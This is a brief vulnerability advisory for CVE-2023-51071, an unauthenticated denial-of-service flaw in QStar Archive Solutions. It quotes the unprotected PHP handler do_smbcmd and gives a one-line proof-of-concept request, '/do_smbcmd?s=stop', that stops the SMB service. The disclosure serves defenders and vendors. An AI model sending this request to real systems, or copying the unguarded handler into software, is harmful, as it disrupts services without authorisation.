## CVE-2023-51071 ### Description An access control issue in QStar Archive Solutions Release RELEASE_3-0 Build 7 Patch 0 allows unauthenticated attackers to arbitrarily disable the SMB service on a victim's Qstar instance by executing a specific command in a link. ### Vulnerability Type Unauthenticated Denial Of Service ### Vendor of Product QStar ### Affected Product Code Base QStar Archive Solutions - Release RELEASE_3-0 Build 7 Patch 0 ### Exploitation An attacker may execute a specifically crafted link to stop the SMB service. ### PoC > Vulnerable code - /main.php ```php function do_smbcmd() { $s = $_GET['s']; if (($s == 'start') || ($s == 'stop') || ($s == 'restart') || ($s == 'reload')) { $result = sys_smb_start($s); if ($result === true) echo "0"; else echo gettype($result) . "-Error ($result->errno): $result->errmsg"; return; } echo "Illegal command."; } ``` As shown above, no access controls exist, we can leverage the stop command as an unauthenticated user to stop the server. `/do_smbcmd?s=stop`